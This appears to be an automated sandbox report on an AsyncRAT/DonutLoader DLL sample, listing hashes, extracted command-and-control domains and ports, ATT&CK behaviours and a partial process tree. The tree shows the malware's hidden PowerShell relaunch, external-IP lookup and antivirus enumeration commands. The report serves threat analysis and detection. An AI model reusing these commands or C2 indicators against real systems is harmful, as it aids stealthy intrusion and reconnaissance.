asyncrat | b2fa2988c6ad45276eaf737416fafb8328d90a452eff47f5ca5b9770f87c87bd

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
logutil_5tcen6.dll
Size 14KB
Sample260423-s85syshy8t
SHA256 b2fa2988c6ad45276eaf737416fafb8328d90a452eff47f5ca5b9770f87c87bd
MD5 33875da893fcfdffb8d52244229c776f
SHA1 21a65ba0e6298acebb063e04b02d00e3754d6934
SHA512 55b629fc56b39965e703761f76aab75ab8fcc20207e9e61afed1522a96cbaa4dc7f33bb3e28fa07a7b1ea31c3105b9d77f4ffca4045c8c287cbcb35a1628e1a0
SSDEEP 96:ix0flL+u6HgEXyoFl3PvMLsu/B4lFVA2Z8gVsWYyMz17GRbqPe1pt8V+9L+3SbcD:a0NCHgEXJrMZBgVfc1Kc21po+F+4d4L
TLSH
T12362A90E321358E9C54AC5B941EB4B79B6F9B811C9F65B3C4334DA322EB07A5672AE10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware jan 1[26]jan-26 collection defense_evasion discovery execution asyncrat donutloader loader persistence rat spyware

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

JAN 1[26]

32asinc.duckdns.org:4099
32asinc.duckdns.org:5801

Mutex

QInXiWdKHnTE

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Botnet

JAN-26

chessboard25.pakasak.com:3014
dzonebcp.duckdns.org:3014

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral3/memory/5540-3987-0x0000000002480000-0x0000000002492000-memory.dmp	family_asyncrat
behavioral3/memory/6444-3997-0x00000214B0D10000-0x00000214B0D26000-memory.dmp	family_asyncrat

Detects DonutLoader 3 IoCs

loader

resource	yara_rule
behavioral3/memory/3236-0-0x0000000002490000-0x0000000002497000-memory.dmp	family_donutloader
behavioral3/memory/3236-2-0x00000000087C0000-0x00000000087D0000-memory.dmp	family_donutloader
behavioral3/memory/3236-92-0x00000000087C0000-0x00000000087D0000-memory.dmp	family_donutloader

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4476 created 3236	4476	python.exe	56
PID 6204 created 3236	6204	python.exe	56

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	3868	powershell.exe
18	2492	powershell.exe
29	5088	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
744	powershell.exe
4928	powershell.exe
2068	powershell.exe
4172	powershell.exe
1368	powershell.exe
2492	powershell.exe
4468	powershell.exe
3456	powershell.exe
3868	powershell.exe
4812	powershell.exe
1444	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 4 IoCs

pid	Process
4476	python.exe
1124	python.exe
6280	python.exe
6204	python.exe

Loads dropped DLL 44 IoCs

pid	Process
4476	python.exe
4476	python.exe
4476	python.exe
4476	python.exe
4476	python.exe
4476	python.exe
4476	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
1124	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6280	python.exe
6204	python.exe
6204	python.exe
6204	python.exe
6204	python.exe
6204	python.exe
6204	python.exe
6204	python.exe

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	api.ipify.org

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
1796	tasklist.exe
3804	tasklist.exe
2256	tasklist.exe
3268	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
860	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Delays execution with timeout.exe 8 IoCs

defense_evasion

pid	Process
3600	timeout.exe
6276	timeout.exe
1876	timeout.exe
3036	timeout.exe
2620	timeout.exe
2848	timeout.exe
2236	timeout.exe
2756	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-745935970-1373868228-562466063-1000\{BBDEEEFF-1A01-412C-BF64-D690A7902B51}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4248	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2840	rundll32.exe
2840	rundll32.exe
4468	powershell.exe
4468	powershell.exe
3868	powershell.exe
3868	powershell.exe
3456	powershell.exe
3456	powershell.exe
744	powershell.exe
744	powershell.exe
4928	powershell.exe
4812	powershell.exe
4928	powershell.exe
4812	powershell.exe
2068	powershell.exe
2068	powershell.exe
4172	powershell.exe
4172	powershell.exe
1368	powershell.exe
1368	powershell.exe
2492	powershell.exe
2492	powershell.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
5088	powershell.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
5088	powershell.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
5088	powershell.exe
4476	python.exe
560	explorer.exe
3292	chrome.exe
3292	chrome.exe
560	explorer.exe
560	explorer.exe
4416	chrome.exe
4416	chrome.exe
2560	chrome.exe
2560	chrome.exe
560	explorer.exe
6204	python.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe
1444	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3236	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
4476	python.exe
6204	python.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	3456	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	744	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeIncreaseQuotaPrivilege	4812	powershell.exe
Token: SeSecurityPrivilege	4812	powershell.exe
Token: SeTakeOwnershipPrivilege	4812	powershell.exe
Token: SeLoadDriverPrivilege	4812	powershell.exe
Token: SeSystemProfilePrivilege	4812	powershell.exe
Token: SeSystemtimePrivilege	4812	powershell.exe
Token: SeProfSingleProcessPrivilege	4812	powershell.exe
Token: SeIncBasePriorityPrivilege	4812	powershell.exe
Token: SeCreatePagefilePrivilege	4812	powershell.exe
Token: SeBackupPrivilege	4812	powershell.exe
Token: SeRestorePrivilege	4812	powershell.exe
Token: SeShutdownPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeSystemEnvironmentPrivilege	4812	powershell.exe
Token: SeRemoteShutdownPrivilege	4812	powershell.exe
Token: SeUndockPrivilege	4812	powershell.exe
Token: SeManageVolumePrivilege	4812	powershell.exe
Token: 33	4812	powershell.exe
Token: 34	4812	powershell.exe
Token: 35	4812	powershell.exe
Token: 36	4812	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	2256	tasklist.exe
Token: SeDebugPrivilege	3268	tasklist.exe
Token: SeDebugPrivilege	1796	tasklist.exe
Token: SeDebugPrivilege	3804	tasklist.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	560	explorer.exe
Token: SeDebugPrivilege	4248	notepad.exe
Token: SeShutdownPrivilege	3292	chrome.exe
Token: SeCreatePagefilePrivilege	3292	chrome.exe
Token: SeShutdownPrivilege	3292	chrome.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3292	chrome.exe
3292	chrome.exe
6728	explorer.exe
6728	explorer.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
6728	explorer.exe
6728	explorer.exe
6728	explorer.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4680	AcroRd32.exe
4248	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 3236	2840	rundll32.exe	56
PID 3236 wrote to memory of 2868	3236	Explorer.EXE	86
PID 2868 wrote to memory of 5092	2868	wscript.exe	87
PID 5092 wrote to memory of 4468	5092	cmd.exe	89
PID 4468 wrote to memory of 2488	4468	powershell.exe	90
PID 2488 wrote to memory of 2768	2488	cmd.exe	92
PID 2768 wrote to memory of 3868	2768	cmd.exe	93
PID 3236 wrote to memory of 3460	3236	Explorer.EXE	98
PID 3460 wrote to memory of 824	3460	wscript.exe	99
PID 824 wrote to memory of 3456	824	cmd.exe	101
PID 3456 wrote to memory of 3012	3456	powershell.exe	102
PID 3012 wrote to memory of 2312	3012	cmd.exe	104
PID 2312 wrote to memory of 744	2312	cmd.exe	105
PID 3012 wrote to memory of 1436	3012	cmd.exe	107
PID 2488 wrote to memory of 4660	2488	cmd.exe	108
PID 1436 wrote to memory of 4928	1436	cmd.exe	109
PID 4660 wrote to memory of 4812	4660	cmd.exe	110
PID 3012 wrote to memory of 1900	3012	cmd.exe	111
PID 1900 wrote to memory of 2068	1900	cmd.exe	112
PID 3012 wrote to memory of 3640	3012	cmd.exe	113
PID 2488 wrote to memory of 4680	2488	cmd.exe	115
PID 2488 wrote to memory of 1876	2488	cmd.exe	117
PID 3012 wrote to memory of 4452	3012	cmd.exe	118
PID 4452 wrote to memory of 1368	4452	cmd.exe	119
PID 3012 wrote to memory of 2256	3012	cmd.exe	120
PID 3012 wrote to memory of 2180	3012	cmd.exe	121
PID 3012 wrote to memory of 3268	3012	cmd.exe	122
PID 3012 wrote to memory of 2852	3012	cmd.exe	123
PID 3012 wrote to memory of 1796	3012	cmd.exe	124
PID 3012 wrote to memory of 2912	3012	cmd.exe	125
PID 3012 wrote to memory of 3804	3012	cmd.exe	126
PID 3012 wrote to memory of 468	3012	cmd.exe	127
PID 3012 wrote to memory of 3112	3012	cmd.exe	128
PID 3012 wrote to memory of 4024	3012	cmd.exe	129
PID 2488 wrote to memory of 2492	2488	cmd.exe	130
PID 4680 wrote to memory of 3296	4680	AcroRd32.exe	133
PID 3296 wrote to memory of 4252	3296	RdrCEF.exe	134
PID 3296 wrote to memory of 804	3296	RdrCEF.exe	135
PID 3296 wrote to memory of 804	3296	RdrCEF.exe	135
PID 3296 wrote to memory of 2584	3296	RdrCEF.exe	137
PID 3296 wrote to memory of 3108	3296	RdrCEF.exe	138
PID 3296 wrote to memory of 2412	3296	RdrCEF.exe	139
PID 3012 wrote to memory of 5088	3012	cmd.exe	140
PID 3012 wrote to memory of 2288	3012	cmd.exe	143
PID 3012 wrote to memory of 3636	3012	cmd.exe	144
PID 3012 wrote to memory of 3136	3012	cmd.exe	145
PID 3012 wrote to memory of 4144	3012	cmd.exe	146
PID 3012 wrote to memory of 1928	3012	cmd.exe	147
PID 3012 wrote to memory of 1660	3012	cmd.exe	148
PID 3012 wrote to memory of 2976	3012	cmd.exe	149
PID 3012 wrote to memory of 3036	3012	cmd.exe	150
PID 3012 wrote to memory of 3508	3012	cmd.exe	151
PID 3012 wrote to memory of 2872	3012	cmd.exe	152
PID 3012 wrote to memory of 2620	3012	cmd.exe	153
PID 3012 wrote to memory of 2848	3012	cmd.exe	154
PID 3012 wrote to memory of 4476	3012	cmd.exe	155
PID 3012 wrote to memory of 2236	3012	cmd.exe	156
PID 4476 wrote to memory of 4248	4476	python.exe	157
PID 3012 wrote to memory of 1124	3012	cmd.exe	158
PID 3012 wrote to memory of 2756	3012	cmd.exe	159
PID 1124 wrote to memory of 560	1124	python.exe	160
PID 1124 wrote to memory of 560	1124	python.exe	160
PID 560 wrote to memory of 3292	560	explorer.exe	161
PID 3292 wrote to memory of 2492	3292	chrome.exe	162

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
468	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\logutil_5tcen6.dll,#1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2840
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\Contacts\4ff_NSPDRe .vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\Contacts\NSPDRe .bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\Contacts\NSPDRe .bat" hidden
        5⤵
        Checks computer location settings
        Modifies registry class
        Suspicious use of WriteProcessMemory
        
        PID:2488
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "try { (Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing -TimeoutSec 5).Content.Trim() } catch { 'Unknown' }"
        7⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3868
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -First 1 -ExpandProperty displayName"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4812
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
